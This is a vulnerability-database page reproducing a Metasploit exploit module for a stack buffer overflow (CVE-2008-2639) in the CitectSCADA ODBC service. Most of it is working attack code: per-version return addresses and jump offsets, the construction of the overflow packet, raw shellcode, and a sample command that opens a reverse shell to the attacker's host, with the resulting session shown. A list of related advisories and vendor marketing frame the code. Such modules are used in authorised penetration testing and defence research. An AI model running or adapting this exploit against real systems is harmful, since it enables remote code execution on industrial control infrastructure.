| Reporter | Title | Published | Views | Family All 24 |
|---|---|---|---|---|
| CitectSCADA ODBC Server Remote Stack Buffer Overflow Exploit (meta) | 5 Sep 200800:00 | – | zdt | |
| CVE-2008-2639 | 5 Sep 200800:00 | – | circl | |
| CitectSCADA ODBC Server Remote Buffer Overflow | 18 Jun 200800:00 | – | nessus | |
| Immunity Canvas: CITECT_SCADA | 16 Jun 200818:41 | – | canvas | |
| CitectSCADA ODBC service vulnerability | 11 Jun 200800:00 | – | coresecurity | |
| Citect SCADA ODBC Overflow Attempt (CVE-2008-2639) | 2 Dec 201200:00 | – | checkpoint_advisories | |
| CVE-2008-2639 | 16 Jun 200818:26 | – | cve | |
| CVE-2008-2639 | 16 Jun 200818:26 | – | cvelist | |
| CitectSCADA/CitectFacilities ODBC - Remote Buffer Overflow (Metasploit) | 14 Nov 201000:00 | – | exploitdb | |
| CitectSCADA ODBC Server - Remote Stack Buffer Overflow (Metasploit) | 5 Sep 200800:00 | – | exploitdb |
##
# $Id: citect_scada_odbc.rb
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
#
#
# msfcli exploit/windows/misc/citect_scada_odbc RHOST=192.168.2.45 PAYLOAD=windows/shell/reverse_ord_tcp LHOST=192.168.2.101 TARGET=2 E
# [*] Started reverse handler
# ...
# [*] Sending stage (474 bytes)
# [*] Command shell session 1 opened (192.168.2.101:4444 -> 192.168.2.45:1039)
#
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Program Files\Citect\CitectSCADA\Bin>
#
# Arbitrary code has been sucessfully run on Windows XP SP2 and SP3, Win98 SE and Windows 2003 Server SP1
#
require 'msf/core'
module Msf
class Exploits::Windows::Misc::Citect_SCADA_ODBC < Msf::Exploit::Remote
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'CitectSCADA ODBC Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in CitectSCADA's ODBC daemon.
This has only been tested against Citect v5, v6 and v7.
},
'Author' => [ 'KF <kf_lists[at]digitalmunition.com>' ],
'Version' => '$Revision: 1 $',
'References' =>
[
['CVE', 'CVE-2008-2639'],
['BID', '29634'],
['URL', 'http://www.schneider-electric.com/sites/corporate/en/press/press-releases/viewer-press-releases.page?c_filepath=/templatedata/Content/Press_Release/data/en/shared/2005/10/20051019_schneider_electric_adds_scada_and_mes_capabilities_to_i.xml'],
['URL', 'http://www.coresecurity.com/content/citect-scada-odbc-service-vulnerability','http://www.auscert.org.au/render.html?it=9433'],
['URL', 'http://www.auscert.org.au/render.html?it=9433'],
['URL', 'http://www.controsys.hu/anyagok/group_quality_assurance.pdf'],
['URL', 'http://www.citect.com/documents/news_and_media/pr-citect-address-security.pdf'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'BadChars' => "\x00",
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
# Small sample of potential targets... There ARE universal targets for *some* versions. The base address can varry unfortunately.
['CiExceptionMailer.dll on XP Sp2 or SP3 5.42', { 'Version' => '5.42', 'OS' => 'xp', 'Ret' => 0x003a530e, 'Jump' => 0xffffff11e9, 'Payload' => { 'Space' => 216 } } ],
['CiExceptionMailer.dll on Server 2003 Sp2 6.0-r0', { 'Version' => '6.0-r0', 'OS' => '2003', 'Ret' => 0x003a6aad, 'Jump' => 0xffffff15e9, 'Payload' => { 'Space' => 212 } } ],
['CiExceptionMailer.dll on XP Sp2 or SP3 6.0-r0', { 'Version' => '6.0-r0', 'OS' => 'xp', 'Ret' => 0x0039cd5a, 'Jump' => 0xffffff11e9, 'Payload' => { 'Space' => 216 } } ],
['CiExceptionMailer.dll on XP Sp2 or SP3 6.10', { 'Version' => '6.10', 'OS' => 'xp', 'Ret' => 0x00501113, 'Jump' => 0xffffff11e9, 'Payload' => { 'Space' => 380 } } ],
['CiExceptionMailer.dll on XP Sp2 or SP3 7.0-r0', { 'Version' => '7.0-r0', 'OS' => 'xp', 'Ret' => 0x003e1e92, 'Jump' => 0xffffff11e9, 'Payload' => { 'Space' => 380 } } ],
['CiExceptionMailer.dll on 2003 Server SP1 7.0-r0', { 'Version' => '7.0-r0', 'OS' => '2003', 'Ret' => 0x003d59d7, 'Jump' => 0xfffffe7be9, 'Payload' => { 'Space' => 376 } } ],
['CiExceptionMailer.dll on Win98 5.50-r0', { 'Version' => '5.50-r0', 'OS' => 'win98', 'Ret' => 0x006dd8b7, 'Jump' => 0xffffff6fe9, 'Payload' => { 'Space' => 140 } } ],
['CiExceptionMailer.dll on XP SP2 5.50-r0', { 'Version' => '5.50-r0', 'OS' => 'xp', 'Ret' => 0x003a5e90, 'Jump' => 0xffffff11e9, 'Payload' => { 'Space' => 216 } } ],
['CiExceptionMailer.dll on 2003 Server 5.50-r0', { 'Version' => '5.50-r0', 'OS' => '2003', 'Ret' => 0x003952ee, 'Jump' => 0xffffff15e9, 'Payload' => { 'Space' => 212 } } ],
['Test Crash', { 'Version' => '666', 'OS' => 'test', 'Ret' => 0xdeadbeef, 'Jump' => 0xdeadbabeee, 'Payload' => { 'Space' => 8192 } } ],
],
'Privileged' => false,
'DisclosureDate' => 'June 11 2008'
))
register_options(
[
Opt::RPORT(20222)
], self.class)
end
def exploit
connect
print_status("Trying target #{target.name}...")
if payload_space() != payload.encoded.length
print_status("Metasploit payload bug... please check out from SVN")
exit
else
print_status("Space: #{payload_space()}")
end
shortjmp = 0xeb069090 # jump over garbage for SEH foo
if(target['OS'] =~ /xp/)
print_status("Using Windows XP Target")
elsif (target['OS'] =~ /2003/)
print_status("Using Windows 2003 Target")
elsif (target['OS'] =~ /98/)
print_status("no 98 foo yet")
else (target['OS'] =~ /test/)
print_status("Just testing.... don't mind me")
end
padding = 100 # Just fill up the end of the stack...
# There is some redundant shit here... will be cleaned up soon enough...
if (target['Version'] =~ /5.42/) || (target['Version'] =~ /6.0-r0/)
filler = "\x90" * 10 + [target['Jump']].pack('Q')[0..4] + "\x90" * padding
mal = payload.encoded + [shortjmp].pack("N") + [target.ret].pack("V") + filler
elsif (target['Version'] =~ /6.10/) || (target['Version'] =~ /7.0-r0/)
filler = [target['Jump']].pack('Q')[0..4] + "\x90" * padding
mal = payload.encoded + [shortjmp].pack("N") + [target.ret].pack("V") + filler
elsif (target['Version'] =~ /5.50-r0/)
# This particular target encompases win98 windows XP and windows 2003 just so that no one feels left out.
# EVERYONE *CAN* be exploited... not just the guys running the modern stuff. Someone only needs to take a bit
# of time to have a robust exploit for any platform or version they choose...
if(target['OS'] =~ /win98/)
hop1 = 0xebb69090 # Short jump into small 72 byte buffer space - EBb6
hop2 = target['Jump'] # Near jump into begining of entire buffer... leaves 140 chars of space.
seh = [target.ret].pack("V") # Call EAX from CiExceptionMailer.dll
# Description : It is 110 Byte Shellcode which Pops up Message Box Under win98
# This is just sample code from the milw0rm...its using static addresses from MY win98
hell =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb" +
"\xd0\x76\xf7\xbf" + # LoadLibraryA(libraryname) IN win98
"\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb" +
"\xa8\x6d\xf7\xbf" + # GetProcAddress(hmodule,functionname)
"\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x06\x31\xd2\x52\x51" +
"\x51\x52\xff\xd0\x31\xd2\x50\xb8\xa2\xca\x81\x7c\xff\xd0\xe8\xc4\xff" +
"\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff" +
"\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff" +
"\xff" + "PWNED." + "\x4e"
mal = "\x90" * (payload_space - hell.length) + hell + [hop2].pack('Q')[0..4] + "Z" * 67 + [hop1].pack("N") + seh + "\x41" * padding
elsif target['OS'] =~ /xp/ || target['OS'] =~ /2003/
filler = "\x90" * 10 + [target['Jump']].pack('Q')[0..4] + "\x90" * padding
mal = payload.encoded + [shortjmp].pack("N") + [target.ret].pack("V") + filler
end
else (target['Version'] =~ /666/)
# Use this to find offsets for other versions that were not provided.
mal = Rex::Text.pattern_create(payload_space, Rex::Text::DefaultPatternSets)
print_status("Use pattern_offset.rb to find the length")
end
# Open your eyes people... listen carefully to the rhetoric. There is no spoon.
wakeup = [0x0000000002].pack('Q')[0..4] + [mal.length].pack("N") + mal
len = [wakeup.length].pack("N")
sock.put(len)
sock.put(wakeup)
print_status("Sent malicious ODBC packet...")
handler
print_status("Citect and other SCADA and Control vendors have been communicating potential " +
"vulnerabilities of control systems when they are connected to the internet for some time. ")
print_status("However, Citect believes this is only relevant to a company using ODBC technology and " +
"directly connecting its system to the internet with no security in place -")
print_status("a situation unlikely in today’s business environment. ")
disconnect
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation